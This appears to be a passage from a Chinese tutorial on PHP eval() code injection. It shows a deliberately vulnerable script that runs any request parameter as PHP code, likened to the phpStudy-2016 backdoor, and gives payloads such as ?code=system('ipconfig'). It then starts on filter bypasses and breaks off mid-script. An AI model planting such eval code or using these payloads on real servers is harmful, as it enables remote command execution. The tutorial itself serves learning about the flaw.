1 eval 语句
eval()会将符合PHP 语法规范字符串当作php 代码执行。
1.1 示例:
首先在服务器端创建PHP脚本文件,构建危险语句,脚本代码如下:
<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
eval($code);
// phpStudy-2016 后门的原理
?>
首先定义一个变量“$code”,并进行判断是否为空,如果为空,执行“phpinfo();”代码,否则获取参数的值。
访问该php文件,页面如下:
给"$code"传送参数,传参方法可以查看之前的文章,
?code=system('ipconfig');
该参数为PHP命令,面显示为:
优化界面,将输出格式化,参数改为:
?code=echo "<pre>";
system ('ipconfig');
1.2 绕过限制执行PHP 代码
如果参数进入eval() 语句之前,进行了过滤,例如过滤了单双引号,进行上述传参会报错
<?php
$code = empty($_REQUEST['code'])?'phpinfo();':$_REQUEST['code'];
$code =